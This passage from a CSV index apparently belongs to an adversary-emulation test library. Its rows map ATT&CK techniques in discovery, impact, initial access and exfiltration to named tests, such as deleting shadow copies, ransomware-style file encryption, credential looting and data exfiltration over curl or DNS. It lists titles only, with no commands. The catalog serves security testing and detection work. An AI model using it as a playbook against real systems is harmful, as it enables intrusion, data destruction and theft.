WevtUtil,fef0ace1-3550-4bf1-a075-9fea55a778dd,command_prompt +discovery,T1057,Process Discovery,1,Process Discovery - ps,4ff64f0b-aaf2-4866-b39d-38d9791407cc,sh +discovery,T1057,Process Discovery,2,Process Discovery - tasklist,c5806a4f-62b8-4900-980b-c7ec004e9908,command_prompt +discovery,T1057,Process Discovery,3,Process Discovery - Get-Process,3b3809b6-a54b-4f5b-8aff-cb51f2e97b34,powershell +discovery,T1057,Process Discovery,4,Process Discovery - get-wmiObject,b51239b4-0129-474f-a2b4-70f855b9f2c2,powershell +discovery,T1057,Process Discovery,5,Process Discovery - wmic process,640cbf6d-659b-498b-ba53-f6dd1a1cc02c,command_prompt +discovery,T1057,Process Discovery,6,Discover Specific Process - tasklist,11ba69ee-902e-4a0f-b3b6-418aed7d7ddb,command_prompt +discovery,T1057,Process Discovery,7,Process Discovery - Process Hacker,966f4c16-1925-4d9b-8ce0-01334ee0867d,powershell +discovery,T1057,Process Discovery,8,Process Discovery - PC Hunter,b4ca838d-d013-4461-bf2c-f7132617b409,powershell +discovery,T1057,Process Discovery,9,Launch Taskmgr from cmd to View running processes,4fd35378-39aa-481e-b7c4-e3bf49375c67,command_prompt +discovery,T1069.001,Permission Groups Discovery: Local Groups,1,Permission Groups Discovery (Local),952931a4-af0b-4335-bbbe-73c8c5b327ae,sh +discovery,T1069.001,Permission Groups Discovery: Local Groups,2,Basic Permission Groups Discovery Windows (Local),1f454dd6-e134-44df-bebb-67de70fb6cd8,command_prompt +discovery,T1069.001,Permission Groups Discovery: Local Groups,3,Permission Groups Discovery PowerShell (Local),a580462d-2c19-4bc7-8b9a-57a41b7d3ba4,powershell +discovery,T1069.001,Permission Groups Discovery: Local Groups,4,SharpHound3 - LocalAdmin,e03ada14-0980-4107-aff1-7783b2b59bb1,powershell +discovery,T1069.001,Permission Groups Discovery: Local Groups,5,Wmic Group Discovery,7413be50-be8e-430f-ad4d-07bf197884b2,command_prompt +discovery,T1069.001,Permission Groups Discovery: Local Groups,6,WMIObject Group Discovery,69119e58-96db-4110-ad27-954e48f3bb13,powershell +discovery,T1069.001,Permission Groups Discovery: Local Groups,7,Permission Groups Discovery for Containers- Local Groups,007d7aa4-8c4d-4f55-ba6a-7c965d51219c,sh +discovery,T1201,Password Policy Discovery,1,Examine password complexity policy - Ubuntu,085fe567-ac84-47c7-ac4c-2688ce28265b,bash +discovery,T1201,Password Policy Discovery,2,Examine password complexity policy - FreeBSD,a7893624-a3d7-4aed-9676-80498f31820f,sh +discovery,T1201,Password Policy Discovery,3,Examine password complexity policy - CentOS/RHEL 7.x,78a12e65-efff-4617-bc01-88f17d71315d,bash +discovery,T1201,Password Policy Discovery,4,Examine password complexity policy - CentOS/RHEL 6.x,6ce12552-0adb-4f56-89ff-95ce268f6358,bash +discovery,T1201,Password Policy Discovery,5,Examine password expiration policy - All Linux,7c86c55c-70fa-4a05-83c9-3aa19b145d1a,bash +discovery,T1201,Password Policy Discovery,6,Examine local password policy - Windows,4588d243-f24e-4549-b2e3-e627acc089f6,command_prompt +discovery,T1201,Password Policy Discovery,7,Examine domain password policy - Windows,46c2c362-2679-4ef5-aec9-0e958e135be4,command_prompt +discovery,T1201,Password Policy Discovery,8,Examine password policy - macOS,4b7fa042-9482-45e1-b348-4b756b2a0742,bash +discovery,T1201,Password Policy Discovery,9,Get-DomainPolicy with PowerView,3177f4da-3d4b-4592-8bdc-aa23d0b2e843,powershell +discovery,T1201,Password Policy Discovery,10,Enumerate Active Directory Password Policy with get-addefaultdomainpasswordpolicy,b2698b33-984c-4a1c-93bb-e4ba72a0babb,powershell +discovery,T1201,Password Policy Discovery,11,Use of SecEdit.exe to export the local security policy (including the password policy),510cc97f-56ac-4cd3-a198-d3218c23d889,command_prompt +discovery,T1201,Password Policy Discovery,12,Examine AWS Password Policy,15330820-d405-450b-bd08-16b5be5be9f4,sh +discovery,T1614.001,System Location Discovery: System Language Discovery,1,Discover System Language by Registry Query,631d4cf1-42c9-4209-8fe9-6bd4de9421be,command_prompt +discovery,T1614.001,System Location Discovery: System Language Discovery,2,Discover System Language with chcp,d91473ca-944e-477a-b484-0e80217cd789,command_prompt +discovery,T1614.001,System Location Discovery: System Language Discovery,3,Discover System Language with locale,837d609b-845e-4519-90ce-edc3b4b0e138,sh +discovery,T1614.001,System Location Discovery: System Language Discovery,4,Discover System Language with localectl,07ce871a-b3c3-44a3-97fa-a20118fdc7c9,sh +discovery,T1614.001,System Location Discovery: System Language Discovery,5,Discover System Language by locale file,5d7057c9-2c8a-4026-91dd-13b5584daa69,sh +discovery,T1614.001,System Location Discovery: System Language Discovery,6,Discover System Language by Environment Variable Query,cb8f7cdc-36c4-4ed0-befc-7ad7d24dfd7a,sh +discovery,T1614.001,System Location Discovery: System Language Discovery,7,Discover System Language with dism.exe,69f625ba-938f-4900-bdff-82ada3df5d9c,command_prompt +discovery,T1614.001,System Location Discovery: System Language Discovery,8,Discover System Language by Windows API Query,e39b99e9-ce7f-4b24-9c88-0fbad069e6c6,command_prompt +discovery,T1614.001,System Location Discovery: System Language Discovery,9,Discover System Language with WMIC,4758003d-db14-4959-9c0f-9e87558ac69e,command_prompt +discovery,T1614.001,System Location Discovery: System Language Discovery,10,Discover System Language with Powershell,1f23bfe8-36d4-49ce-903a-19a1e8c6631b,powershell +discovery,T1012,Query Registry,1,Query Registry,8f7578c4-9863-4d83-875c-a565573bbdf0,command_prompt +discovery,T1012,Query Registry,2,Query Registry with Powershell cmdlets,0434d081-bb32-42ce-bcbb-3548e4f2628f,powershell +discovery,T1012,Query Registry,3,Enumerate COM Objects in Registry with Powershell,0d80d088-a84c-4353-af1a-fc8b439f1564,powershell +discovery,T1012,Query Registry,4,Reg query for AlwaysInstallElevated status,6fb4c4c5-f949-4fd2-8af5-ddbc61595223,command_prompt +discovery,T1012,Query Registry,5,Check Software Inventory Logging (SIL) status via Registry,5c784969-1d43-4ac7-8c3d-ed6d025ed10d,command_prompt +discovery,T1012,Query Registry,6,Inspect SystemStartOptions Value in Registry,96257079-cdc1-4aba-8705-3146e94b6dce,command_prompt +discovery,T1614,System Location Discovery,1,Get geolocation info through IP-Lookup services using curl Windows,fe53e878-10a3-477b-963e-4367348f5af5,command_prompt +discovery,T1614,System Location Discovery,2,"Get geolocation info through IP-Lookup services using curl freebsd, linux or macos",552b4db3-8850-412c-abce-ab5cc8a86604,bash +discovery,T1518.001,Software Discovery: Security Software Discovery,1,Security Software Discovery,f92a380f-ced9-491f-b338-95a991418ce2,command_prompt +discovery,T1518.001,Software Discovery: Security Software Discovery,2,Security Software Discovery - powershell,7f566051-f033-49fb-89de-b6bacab730f0,powershell +discovery,T1518.001,Software Discovery: Security Software Discovery,3,Security Software Discovery - ps (macOS),ba62ce11-e820-485f-9c17-6f3c857cd840,sh +discovery,T1518.001,Software Discovery: Security Software Discovery,4,Security Software Discovery - ps (Linux),23b91cd2-c99c-4002-9e41-317c63e024a2,sh +discovery,T1518.001,Software Discovery: Security Software Discovery,5,Security Software Discovery - pgrep (FreeBSD),fa96c21c-5fd6-4428-aa28-51a2fbecdbdc,sh +discovery,T1518.001,Software Discovery: Security Software Discovery,6,Security Software Discovery - Sysmon Service,fe613cf3-8009-4446-9a0f-bc78a15b66c9,command_prompt +discovery,T1518.001,Software Discovery: Security Software Discovery,7,Security Software Discovery - AV Discovery via WMI,1553252f-14ea-4d3b-8a08-d7a4211aa945,command_prompt +discovery,T1518.001,Software Discovery: Security Software Discovery,8,Security Software Discovery - AV Discovery via Get-CimInstance and Get-WmiObject cmdlets,015cd268-996e-4c32-8347-94c80c6286ee,command_prompt +discovery,T1518.001,Software Discovery: Security Software Discovery,9,Security Software Discovery - Windows Defender Enumeration,d3415a0e-66ef-429b-acf4-a768876954f6,powershell +discovery,T1518.001,Software Discovery: Security Software Discovery,10,Security Software Discovery - Windows Firewall Enumeration,9dca5a1d-f78c-4a8d-accb-d6de67cfed6b,powershell +discovery,T1518.001,Software Discovery: Security Software Discovery,11,Get Windows Defender exclusion settings using WMIC,e31564c8-4c60-40cd-a8f4-9261307e8336,command_prompt +discovery,T1526,Cloud Service Discovery,1,Azure - Dump Subscription Data with MicroBurst,1e40bb1d-195e-401e-a86b-c192f55e005c,powershell +discovery,T1526,Cloud Service Discovery,2,AWS - Enumerate common cloud services,aa8b9bcc-46fa-4a59-9237-73c7b93a980c,powershell +discovery,T1526,Cloud Service Discovery,3,Azure - Enumerate common cloud services,58f57c8f-db14-4e62-a4d3-5aaf556755d7,powershell +discovery,T1018,Remote System Discovery,1,Remote System Discovery - net,85321a9c-897f-4a60-9f20-29788e50bccd,command_prompt +discovery,T1018,Remote System Discovery,2,Remote System Discovery - net group Domain Computers,f1bf6c8f-9016-4edf-aff9-80b65f5d711f,command_prompt +discovery,T1018,Remote System Discovery,3,Remote System Discovery - nltest,52ab5108-3f6f-42fb-8ba3-73bc054f22c8,command_prompt +discovery,T1018,Remote System Discovery,4,Remote System Discovery - ping sweep,6db1f57f-d1d5-4223-8a66-55c9c65a9592,command_prompt +discovery,T1018,Remote System Discovery,5,Remote System Discovery - arp,2d5a61f5-0447-4be4-944a-1f8530ed6574,command_prompt +discovery,T1018,Remote System Discovery,6,Remote System Discovery - arp nix,acb6b1ff-e2ad-4d64-806c-6c35fe73b951,sh +discovery,T1018,Remote System Discovery,7,Remote System Discovery - sweep,96db2632-8417-4dbb-b8bb-a8b92ba391de,sh +discovery,T1018,Remote System Discovery,8,Remote System Discovery - nslookup,baa01aaa-5e13-45ec-8a0d-e46c93c9760f,powershell +discovery,T1018,Remote System Discovery,9,Remote System Discovery - adidnsdump,95e19466-469e-4316-86d2-1dc401b5a959,command_prompt +discovery,T1018,Remote System Discovery,10,Adfind - Enumerate Active Directory Computer Objects,a889f5be-2d54-4050-bd05-884578748bb4,command_prompt +discovery,T1018,Remote System Discovery,11,Adfind - Enumerate Active Directory Domain Controller Objects,5838c31e-a0e2-4b9f-b60a-d79d2cb7995e,command_prompt +discovery,T1018,Remote System Discovery,12,Remote System Discovery - ip neighbour,158bd4dd-6359-40ab-b13c-285b9ef6fa25,sh +discovery,T1018,Remote System Discovery,13,Remote System Discovery - ip route,1a4ebe70-31d0-417b-ade2-ef4cb3e7d0e1,sh +discovery,T1018,Remote System Discovery,14,Remote System Discovery - netstat,d2791d72-b67f-4615-814f-ec824a91f514,sh +discovery,T1018,Remote System Discovery,15,Remote System Discovery - ip tcp_metrics,6c2da894-0b57-43cb-87af-46ea3b501388,sh +discovery,T1018,Remote System Discovery,16,Enumerate domain computers within Active Directory using DirectorySearcher,962a6017-1c09-45a6-880b-adc9c57cb22e,powershell +discovery,T1018,Remote System Discovery,17,Enumerate Active Directory Computers with Get-AdComputer,97e89d9e-e3f5-41b5-a90f-1e0825df0fdf,powershell +discovery,T1018,Remote System Discovery,18,Enumerate Active Directory Computers with ADSISearcher,64ede6ac-b57a-41c2-a7d1-32c6cd35397d,powershell +discovery,T1018,Remote System Discovery,19,Get-DomainController with PowerView,b9d2e8ca-5520-4737-8076-4f08913da2c4,powershell +discovery,T1018,Remote System Discovery,20,Get-WmiObject to Enumerate Domain Controllers,e3cf5123-f6c9-4375-bdf2-1bb3ba43a1ad,powershell +discovery,T1018,Remote System Discovery,21,Remote System Discovery - net group Domain Controller,5843529a-5056-4bc1-9c13-a311e2af4ca0,command_prompt +discovery,T1018,Remote System Discovery,22,Enumerate Remote Hosts with Netscan,b8147c9a-84db-4ec1-8eee-4e0da75f0de5,powershell +discovery,T1046,Network Service Discovery,1,Port Scan,68e907da-2539-48f6-9fc9-257a78c05540,bash +discovery,T1046,Network Service Discovery,2,Port Scan Nmap,515942b0-a09f-4163-a7bb-22fefb6f185f,sh +discovery,T1046,Network Service Discovery,3,Port Scan NMap for Windows,d696a3cb-d7a8-4976-8eb5-5af4abf2e3df,powershell +discovery,T1046,Network Service Discovery,4,Port Scan using python,6ca45b04-9f15-4424-b9d3-84a217285a5c,powershell +discovery,T1046,Network Service Discovery,5,WinPwn - spoolvulnscan,54574908-f1de-4356-9021-8053dd57439a,powershell +discovery,T1046,Network Service Discovery,6,WinPwn - MS17-10,97585b04-5be2-40e9-8c31-82157b8af2d6,powershell +discovery,T1046,Network Service Discovery,7,WinPwn - bluekeep,1cca5640-32a9-46e6-b8e0-fabbe2384a73,powershell +discovery,T1046,Network Service Discovery,8,WinPwn - fruit,bb037826-cbe8-4a41-93ea-b94059d6bb98,powershell +discovery,T1046,Network Service Discovery,9,Network Service Discovery for Containers,06eaafdb-8982-426e-8a31-d572da633caa,sh +discovery,T1046,Network Service Discovery,10,Port-Scanning /24 Subnet with PowerShell,05df2a79-dba6-4088-a804-9ca0802ca8e4,powershell +discovery,T1046,Network Service Discovery,11,Remote Desktop Services Discovery via PowerShell,9e55750e-4cbf-4013-9627-e9a045b541bf,powershell +discovery,T1046,Network Service Discovery,12,Port Scan using nmap (Port range),0d5a2b03-3a26-45e4-96ae-89485b4d1f97,sh +discovery,T1518,Software Discovery,1,Find and Display Internet Explorer Browser Version,68981660-6670-47ee-a5fa-7e74806420a4,command_prompt +discovery,T1518,Software Discovery,2,Applications Installed,c49978f6-bd6e-4221-ad2c-9e3e30cc1e3b,powershell +discovery,T1518,Software Discovery,3,Find and Display Safari Browser Version,103d6533-fd2a-4d08-976a-4a598565280f,sh +discovery,T1518,Software Discovery,4,WinPwn - Dotnetsearch,7e79a1b6-519e-433c-ad55-3ff293667101,powershell +discovery,T1518,Software Discovery,5,WinPwn - DotNet,10ba02d0-ab76-4f80-940d-451633f24c5b,powershell +discovery,T1518,Software Discovery,6,WinPwn - powerSQL,0bb64470-582a-4155-bde2-d6003a95ed34,powershell +discovery,T1622,Debugger Evasion,1,Detect a Debugger Presence in the Machine,58bd8c8d-3a1a-4467-a69c-439c75469b07,powershell +discovery,T1124,System Time Discovery,1,System Time Discovery,20aba24b-e61f-4b26-b4ce-4784f763ca20,command_prompt +discovery,T1124,System Time Discovery,2,System Time Discovery - PowerShell,1d5711d6-655c-4a47-ae9c-6503c74fa877,powershell +discovery,T1124,System Time Discovery,3,System Time Discovery in FreeBSD/macOS,f449c933-0891-407f-821e-7916a21a1a6f,sh +discovery,T1124,System Time Discovery,4,System Time Discovery W32tm as a Delay,d5d5a6b0-0f92-42d8-985d-47aafa2dd4db,command_prompt +discovery,T1124,System Time Discovery,5,System Time with Windows time Command,53ead5db-7098-4111-bb3f-563be390e72e,command_prompt +discovery,T1124,System Time Discovery,6,Discover System Time Zone via Registry,25c5d1f1-a24b-494a-a6c5-5f50a1ae7f47,command_prompt +reconnaissance,T1592.001,Gather Victim Host Information: Hardware,1,Enumerate PlugNPlay Camera,d430bf85-b656-40e7-b238-42db01df0183,powershell +reconnaissance,T1595.003,Active Scanning: Wordlist Scanning,1,Web Server Wordlist Scan,89a83c3e-0b39-4c80-99f5-c2aa084098bd,powershell +impact,T1489,Service Stop,1,Windows - Stop service using Service Controller,21dfb440-830d-4c86-a3e5-2a491d5a8d04,command_prompt +impact,T1489,Service Stop,2,Windows - Stop service using net.exe,41274289-ec9c-4213-bea4-e43c4aa57954,command_prompt +impact,T1489,Service Stop,3,Windows - Stop service by killing process,f3191b84-c38b-400b-867e-3a217a27795f,command_prompt +impact,T1489,Service Stop,4,Linux - Stop service using systemctl,42e3a5bd-1e45-427f-aa08-2a65fa29a820,sh +impact,T1489,Service Stop,5,Linux - Stop service by killing process using killall,e5d95be6-02ee-4ff1-aebe-cf86013b6189,sh +impact,T1489,Service Stop,6,Linux - Stop service by killing process using kill,332f4c76-7e96-41a6-8cc2-7361c49db8be,sh +impact,T1489,Service Stop,7,Linux - Stop service by killing process using pkill,08b4718f-a8bf-4bb5-a552-294fc5178fea,sh +impact,T1489,Service Stop,8,Abuse of linux magic system request key for Send a SIGTERM to all processes,6e76f56f-2373-4a6c-a63f-98b7b72761f1,bash +impact,T1491.001,Defacement: Internal Defacement,1,Replace Desktop Wallpaper,30558d53-9d76-41c4-9267-a7bd5184bed3,powershell +impact,T1491.001,Defacement: Internal Defacement,2,Configure LegalNoticeCaption and LegalNoticeText registry keys to display ransom message,ffcbfaab-c9ff-470b-928c-f086b326089b,powershell +impact,T1491.001,Defacement: Internal Defacement,3,ESXi - Change Welcome Message on Direct Console User Interface (DCUI),30905f21-34f3-4504-8b4c-f7a5e314b810,command_prompt +impact,T1491.001,Defacement: Internal Defacement,4,Windows - Display a simulated ransom note via Notepad (non-destructive),0eeb68ce-e64c-4420-8d53-ad5bdc6f86d5,powershell +impact,T1531,Account Access Removal,1,Change User Password - Windows,1b99ef28-f83c-4ec5-8a08-1a56263a5bb2,command_prompt +impact,T1531,Account Access Removal,2,Delete User - Windows,f21a1d7d-a62f-442a-8c3a-2440d43b19e5,command_prompt +impact,T1531,Account Access Removal,3,Remove Account From Domain Admin Group,43f71395-6c37-498e-ab17-897d814a0947,powershell +impact,T1531,Account Access Removal,4,Change User Password via passwd,3c717bf3-2ecc-4d79-8ac8-0bfbf08fbce6,sh +impact,T1531,Account Access Removal,5,Delete User via dscl utility,4d938c43-2fe8-4d70-a5b3-5bf239aa7846,sh +impact,T1531,Account Access Removal,6,Delete User via sysadminctl utility,d3812c4e-30ee-466a-a0aa-07e355b561d6,sh +impact,T1531,Account Access Removal,7,Azure AD - Delete user via Azure AD PowerShell,4f577511-dc1c-4045-bcb8-75d2457f01f4,powershell +impact,T1531,Account Access Removal,8,Azure AD - Delete user via Azure CLI,c955c1c7-3145-4a22-af2d-63eea0d967f0,powershell +impact,T1486,Data Encrypted for Impact,1,Encrypt files using gpg (FreeBSD/Linux),7b8ce084-3922-4618-8d22-95f996173765,sh +impact,T1486,Data Encrypted for Impact,2,Encrypt files using 7z (FreeBSD/Linux),53e6735a-4727-44cc-b35b-237682a151ad,sh +impact,T1486,Data Encrypted for Impact,3,Encrypt files using ccrypt (FreeBSD/Linux),08cbf59f-85da-4369-a5f4-049cffd7709f,sh +impact,T1486,Data Encrypted for Impact,4,Encrypt files using openssl (FreeBSD/Linux),142752dc-ca71-443b-9359-cf6f497315f1,sh +impact,T1486,Data Encrypted for Impact,5,PureLocker Ransom Note,649349c7-9abf-493b-a7a2-b1aa4d141528,command_prompt +impact,T1486,Data Encrypted for Impact,6,Encrypt files using 7z utility - macOS,645f0f5a-ef09-48d8-b9bc-f0e24c642d72,sh +impact,T1486,Data Encrypted for Impact,7,Encrypt files using openssl utility - macOS,1a01f6b8-b1e8-418e-bbe3-78a6f822759e,sh +impact,T1486,Data Encrypted for Impact,8,Data Encrypted with GPG4Win,4541e2c2-33c8-44b1-be79-9161440f1718,powershell +impact,T1486,Data Encrypted for Impact,9,Data Encrypt Using DiskCryptor,44b68e11-9da2-4d45-a0d9-893dabd60f30,command_prompt +impact,T1486,Data Encrypted for Impact,10,Akira Ransomware drop Files with .akira Extension and Ransomnote,ab3f793f-2dcc-4da5-9c71-34988307263f,powershell +impact,T1496,Resource Hijacking,1,FreeBSD/macOS/Linux - Simulate CPU Load with Yes,904a5a0e-fb02-490d-9f8d-0e256eb37549,sh +impact,T1496,Resource Hijacking,2,Windows - Simulate CPU Load with PowerShell,44315fb0-f78d-4cef-b10f-cf21c1fe2c75,powershell +impact,T1485,Data Destruction,1,Windows - Overwrite file with SysInternals SDelete,476419b5-aebf-4366-a131-ae3e8dae5fc2,powershell +impact,T1485,Data Destruction,2,FreeBSD/macOS/Linux - Overwrite file with DD,38deee99-fd65-4031-bec8-bfa4f9f26146,sh +impact,T1485,Data Destruction,3,Overwrite deleted data on C drive,321fd25e-0007-417f-adec-33232252be19,command_prompt +impact,T1485,Data Destruction,4,GCP - Delete Bucket,4ac71389-40f4-448a-b73f-754346b3f928,sh +impact,T1485,Data Destruction,5,ESXi - Delete VM Snapshots,1207ddff-f25b-41b3-aa0e-7c26d2b546d1,command_prompt +impact,T1490,Inhibit System Recovery,1,Windows - Delete Volume Shadow Copies,43819286-91a9-4369-90ed-d31fb4da2c01,command_prompt +impact,T1490,Inhibit System Recovery,2,Windows - Delete Volume Shadow Copies via WMI,6a3ff8dd-f49c-4272-a658-11c2fe58bd88,command_prompt +impact,T1490,Inhibit System Recovery,3,Windows - wbadmin Delete Windows Backup Catalog,263ba6cb-ea2b-41c9-9d4e-b652dadd002c,command_prompt +impact,T1490,Inhibit System Recovery,4,Windows - Disable Windows Recovery Console Repair,cf21060a-80b3-4238-a595-22525de4ab81,command_prompt +impact,T1490,Inhibit System Recovery,5,Windows - Delete Volume Shadow Copies via WMI with PowerShell,39a295ca-7059-4a88-86f6-09556c1211e7,powershell +impact,T1490,Inhibit System Recovery,6,Windows - Delete Backup Files,6b1dbaf6-cc8a-4ea6-891f-6058569653bf,command_prompt +impact,T1490,Inhibit System Recovery,7,Windows - wbadmin Delete systemstatebackup,584331dd-75bc-4c02-9e0b-17f5fd81c748,command_prompt +impact,T1490,Inhibit System Recovery,8,Windows - Disable the SR scheduled task,1c68c68d-83a4-4981-974e-8993055fa034,command_prompt +impact,T1490,Inhibit System Recovery,9,Disable System Restore Through Registry,66e647d1-8741-4e43-b7c1-334760c2047f,command_prompt +impact,T1490,Inhibit System Recovery,10,Windows - vssadmin Resize Shadowstorage Volume,da558b07-69ae-41b9-b9d4-4d98154a7049,powershell +impact,T1490,Inhibit System Recovery,11,Modify VSS Service Permissions,a4420f93-5386-4290-b780-f4f66abc7070,command_prompt +impact,T1490,Inhibit System Recovery,12,Disable Time Machine,ed952f70-91d4-445a-b7ff-30966bfb1aff,sh +impact,T1490,Inhibit System Recovery,13,Windows - Delete Volume Shadow Copies via Diskshadow,42111a6f-7e7f-482c-9b1b-3cfd090b999c,powershell +impact,T1529,System Shutdown/Reboot,1,Shutdown System - Windows,ad254fa8-45c0-403b-8c77-e00b3d3e7a64,command_prompt +impact,T1529,System Shutdown/Reboot,2,Restart System - Windows,f4648f0d-bf78-483c-bafc-3ec99cd1c302,command_prompt +impact,T1529,System Shutdown/Reboot,3,Restart System via `shutdown` - FreeBSD/macOS/Linux,6326dbc4-444b-4c04-88f4-27e94d0327cb,sh +impact,T1529,System Shutdown/Reboot,4,Shutdown System via `shutdown` - FreeBSD/macOS/Linux,4963a81e-a3ad-4f02-adda-812343b351de,sh +impact,T1529,System Shutdown/Reboot,5,Restart System via `reboot` - FreeBSD/macOS/Linux,47d0b042-a918-40ab-8cf9-150ffe919027,sh +impact,T1529,System Shutdown/Reboot,6,Shutdown System via `halt` - FreeBSD/Linux,918f70ab-e1ef-49ff-bc57-b27021df84dd,sh +impact,T1529,System Shutdown/Reboot,7,Reboot System via `halt` - FreeBSD,7b1cee42-320f-4890-b056-d65c8b884ba5,sh +impact,T1529,System Shutdown/Reboot,8,Reboot System via `halt` - Linux,78f92e14-f1e9-4446-b3e9-f1b921f2459e,bash +impact,T1529,System Shutdown/Reboot,9,Shutdown System via `poweroff` - FreeBSD/Linux,73a90cd2-48a2-4ac5-8594-2af35fa909fa,sh +impact,T1529,System Shutdown/Reboot,10,Reboot System via `poweroff` - FreeBSD,5a282e50-86ff-438d-8cef-8ae01c9e62e1,sh +impact,T1529,System Shutdown/Reboot,11,Reboot System via `poweroff` - Linux,61303105-ff60-427b-999e-efb90b314e41,bash +impact,T1529,System Shutdown/Reboot,12,Logoff System - Windows,3d8c25b5-7ff5-4c9d-b21f-85ebd06654a4,command_prompt +impact,T1529,System Shutdown/Reboot,13,ESXi - Terminates VMs using pkill,987c9b4d-a637-42db-b1cb-e9e242c3991b,command_prompt +impact,T1529,System Shutdown/Reboot,14,ESXi - Avoslocker enumerates VMs and forcefully kills VMs,189f7d6e-9442-4160-9bc3-5e4104d93ece,command_prompt +impact,T1529,System Shutdown/Reboot,15,ESXi - vim-cmd Used to Power Off VMs,622cc1a0-45e7-428c-aed7-c96dd605fbe6,command_prompt +impact,T1529,System Shutdown/Reboot,16,Abuse of Linux Magic System Request Key for Reboot,d2a1f4bc-a064-4223-8281-a086dce5423c,bash +initial-access,T1133,External Remote Services,1,Running Chrome VPN Extensions via the Registry 2 vpn extension,4c8db261-a58b-42a6-a866-0a294deedde4,powershell +initial-access,T1566.002,Phishing: Spearphishing Link,1,Paste and run technique,bc177ef9-6a12-4ebc-a2ec-d41e19c2791d,powershell +initial-access,T1566.001,Phishing: Spearphishing Attachment,1,Download Macro-Enabled Phishing Attachment,114ccff9-ae6d-4547-9ead-4cd69f687306,powershell +initial-access,T1566.001,Phishing: Spearphishing Attachment,2,Word spawned a command shell and used an IP address in the command line,cbb6799a-425c-4f83-9194-5447a909d67f,powershell +initial-access,T1091,Replication Through Removable Media,1,USB Malware Spread Simulation,d44b7297-622c-4be8-ad88-ec40d7563c75,powershell +initial-access,T1195,Supply Chain Compromise,1,Octopus Scanner Malware Open Source Supply Chain,82a9f001-94c5-495e-9ed5-f530dbded5e2,command_prompt +initial-access,T1078.001,Valid Accounts: Default Accounts,1,Enable Guest account with RDP capability and admin privileges,99747561-ed8d-47f2-9c91-1e5fde1ed6e0,command_prompt +initial-access,T1078.001,Valid Accounts: Default Accounts,2,Activate Guest Account,aa6cb8c4-b582-4f8e-b677-37733914abda,command_prompt +initial-access,T1078.001,Valid Accounts: Default Accounts,3,Enable Guest Account on macOS,0315bdff-4178-47e9-81e4-f31a6d23f7e4,sh +initial-access,T1195.002,Compromise Software Supply Chain,1,Simulate npm package installation on a Linux system,a9604672-cd46-493b-b58f-fd4124c22dd3,bash +initial-access,T1078.004,Valid Accounts: Cloud Accounts,1,Creating GCP Service Account and Service Account Key,9fdd83fd-bd53-46e5-a716-9dec89c8ae8e,sh +initial-access,T1078.004,Valid Accounts: Cloud Accounts,2,Azure Persistence Automation Runbook Created or Modified,348f4d14-4bd3-4f6b-bd8a-61237f78b3ac,powershell +initial-access,T1078.004,Valid Accounts: Cloud Accounts,3,GCP - Create Custom IAM Role,3a159042-69e6-4398-9a69-3308a4841c85,sh +initial-access,T1078.003,Valid Accounts: Local Accounts,1,Create local account with admin privileges,a524ce99-86de-4db6-b4f9-e08f35a47a15,command_prompt +initial-access,T1078.003,Valid Accounts: Local Accounts,2,Create local account with admin privileges - MacOS,f1275566-1c26-4b66-83e3-7f9f7f964daa,bash +initial-access,T1078.003,Valid Accounts: Local Accounts,3,Create local account with admin privileges using sysadminctl utility - MacOS,191db57d-091a-47d5-99f3-97fde53de505,bash +initial-access,T1078.003,Valid Accounts: Local Accounts,4,Enable root account using dsenableroot utility - MacOS,20b40ea9-0e17-4155-b8e6-244911a678ac,bash +initial-access,T1078.003,Valid Accounts: Local Accounts,5,Add a new/existing user to the admin group using dseditgroup utility - macOS,433842ba-e796-4fd5-a14f-95d3a1970875,bash +initial-access,T1078.003,Valid Accounts: Local Accounts,6,WinPwn - Loot local Credentials - powerhell kittie,9e9fd066-453d-442f-88c1-ad7911d32912,powershell +initial-access,T1078.003,Valid Accounts: Local Accounts,7,WinPwn - Loot local Credentials - Safetykatz,e9fdb899-a980-4ba4-934b-486ad22e22f4,powershell +initial-access,T1078.003,Valid Accounts: Local Accounts,8,Create local account (Linux),02a91c34-8a5b-4bed-87af-501103eb5357,bash +initial-access,T1078.003,Valid Accounts: Local Accounts,9,Reactivate a locked/expired account (Linux),d2b95631-62d7-45a3-aaef-0972cea97931,bash +initial-access,T1078.003,Valid Accounts: Local Accounts,10,Reactivate a locked/expired account (FreeBSD),09e3380a-fae5-4255-8b19-9950be0252cf,sh +initial-access,T1078.003,Valid Accounts: Local Accounts,11,Login as nobody (Linux),3d2cd093-ee05-41bd-a802-59ee5c301b85,bash +initial-access,T1078.003,Valid Accounts: Local Accounts,12,Login as nobody (freebsd),16f6374f-7600-459a-9b16-6a88fd96d310,sh +initial-access,T1078.003,Valid Accounts: Local Accounts,13,Use PsExec to elevate to NT Authority\SYSTEM account,6904235f-0f55-4039-8aed-41c300ff7733,command_prompt +exfiltration,T1020,Automated Exfiltration,1,IcedID Botnet HTTP PUT,9c780d3d-3a14-4278-8ee5-faaeb2ccfbe0,powershell +exfiltration,T1020,Automated Exfiltration,2,Exfiltration via Encrypted FTP,5b380e96-b0ef-4072-8a8e-f194cb9eb9ac,powershell +exfiltration,T1048.002,Exfiltration Over Alternative Protocol - Exfiltration Over Asymmetric Encrypted Non-C2 Protocol,1,Exfiltrate data HTTPS using curl windows,1cdf2fb0-51b6-4fd8-96af-77020d5f1bf0,command_prompt +exfiltration,T1048.002,Exfiltration Over Alternative Protocol - Exfiltration Over Asymmetric Encrypted Non-C2 Protocol,2,"Exfiltrate data HTTPS using curl freebsd,linux or macos",4a4f31e2-46ea-4c26-ad89-f09ad1d5fe01,bash +exfiltration,T1048.002,Exfiltration Over Alternative Protocol - Exfiltration Over Asymmetric Encrypted Non-C2 Protocol,3,Exfiltrate data in a file over HTTPS using wget,7ccdfcfa-6707-46bc-b812-007ab6ff951c,sh +exfiltration,T1048.002,Exfiltration Over Alternative Protocol - Exfiltration Over Asymmetric Encrypted Non-C2 Protocol,4,Exfiltrate data as text over HTTPS using wget,8bec51da-7a6d-4346-b941-51eca448c4b0,sh +exfiltration,T1041,Exfiltration Over C2 Channel,1,C2 Data Exfiltration,d1253f6e-c29b-49dc-b466-2147a6191932,powershell +exfiltration,T1041,Exfiltration Over C2 Channel,2,Text Based Data Exfiltration using DNS subdomains,c9207f3e-213d-4cc7-ad2a-7697a7237df9,powershell +exfiltration,T1048,Exfiltration Over Alternative Protocol,1,Exfiltration Over Alternative Protocol - SSH,f6786cc8-beda-4915-a4d6-ac2f193bb988,sh +exfiltration,T1048,Exfiltration Over Alternative Protocol,2,Exfiltration Over Alternative Protocol - SSH,7c3cb337-35ae-4d06-bf03-3032ed2ec268,sh +exfiltration,T1048,Exfiltration Over Alternative Protocol,3,DNSExfiltration 